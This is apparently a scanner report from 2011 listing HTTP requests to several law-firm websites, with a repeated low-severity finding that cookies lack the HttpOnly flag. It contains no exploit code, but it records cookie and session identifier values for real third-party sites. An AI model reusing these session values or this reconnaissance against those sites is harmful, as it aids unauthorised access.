GET /ja/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /newsmedia/awardsrankings/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /newsmedia/fastfacts/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /newsmedia/newspubs/List.aspx HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /newsmedia/newspubs/detail.aspx?news=1779 HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><meta name="description" content="Hogan Lovells is advising Citi Infrastructure Investors, o ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /newsmedia/timeline/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /offices/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ourpeople/List.aspx HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /practiceAreas/area.aspx?firmService=1720 HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /practiceareas/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><meta name="description" content="Hogan Lovells depth of experience, global reach, and compr ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ru/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /zh-CHS/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /washington%20dc%20law%20firms HTTP/1.1 Host: www.info.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Info.com - washington dc law firms - www.Info.com</title><link rel="shortcut icon" href="http://gfx.info.com/commo ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
sid=mmv1hvp4osijn6qmgfbls7seu7; expires=Thu, 20 Jan 2011 16:50:01 GMT; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.jandjlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.1.6 Set-Cookie: sid=mmv1hvp4osijn6qmgfbls7seu7; expires=Thu, 20 Jan 2011 16:50:01 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI COR NID ADMa DEVa PSAa PSDa STP NAV DEM STA PRE" Content-type: text/html Connection: close Date: Wed, 19 Jan 2011 16:50:01 GMT Server: lighttpd Content-Length: 775
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.jonesday.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /404.aspx HTTP/1.1 Host: www.jonesday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jsdetect=true; PortletId=0; SERVER_PORT=80; __utmz=229989127.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63e45525d5f4f58455e445a4a423660; __utma=229989127.255684700.1295449756.1295449756.1295449756.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=229989127; __utmb=229989127.1.10.1295449756; ASP.NET_SessionId=c20gttnotsvi2oyq5apdpi45; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Search.aspx HTTP/1.1 Host: www.jonesday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jsdetect=true; PortletId=0; SERVER_PORT=80; __utmz=229989127.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63e45525d5f4f58455e445a4a423660; __utma=229989127.255684700.1295449756.1295449756.1295449756.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=229989127; __utmb=229989127.1.10.1295449756; ASP.NET_SessionId=c20gttnotsvi2oyq5apdpi45; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /aboutus/ HTTP/1.1 Host: www.jonesday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jsdetect=true; PortletId=0; SERVER_PORT=80; __utmz=229989127.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63e45525d5f4f58455e445a4a423660; __utma=229989127.255684700.1295449756.1295449756.1295449756.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=229989127; __utmb=229989127.1.10.1295449756; ASP.NET_SessionId=c20gttnotsvi2oyq5apdpi45; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /admin/rss.aspx HTTP/1.1 Host: www.jonesday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jsdetect=true; PortletId=0; SERVER_PORT=80; __utmz=229989127.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63e45525d5f4f58455e445a4a423660; __utma=229989127.255684700.1295449756.1295449756.1295449756.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=229989127; __utmb=229989127.1.10.1295449756; ASP.NET_SessionId=c20gttnotsvi2oyq5apdpi45; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ajax/holder.aspx HTTP/1.1 Host: www.jonesday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jsdetect=true; PortletId=0; SERVER_PORT=80; __utmz=229989127.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63e45525d5f4f58455e445a4a423660; __utma=229989127.255684700.1295449756.1295449756.1295449756.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=229989127; __utmb=229989127.1.10.1295449756; ASP.NET_SessionId=c20gttnotsvi2oyq5apdpi45; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title>Jones Day</title><script type="text/javascript">function relayPageState() { try { var p ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
DefaultCulture=en-US; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /home.aspx HTTP/1.1 Host: www.jonesday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jsdetect=true; PortletId=0; SERVER_PORT=80; __utmz=229989127.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63e45525d5f4f58455e445a4a423660; __utma=229989127.255684700.1295449756.1295449756.1295449756.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=229989127; __utmb=229989127.1.10.1295449756; ASP.NET_SessionId=c20gttnotsvi2oyq5apdpi45; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.jonesdaycareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /faq/ HTTP/1.1 Host: www.jonesdaycareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /jonesdayway/ HTTP/1.1 Host: www.jonesdaycareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /offices/office_detail.aspx HTTP/1.1 Host: www.jonesdaycareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fError.html%3faspxerrorpath%3d%2fFCWSite%2fFeatures%2fCareersMiniSite%2foffice_detail.aspx">here</a>.</h2> </body> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /opportunities/ HTTP/1.1 Host: www.jonesdaycareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.jonesdaydiversity.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
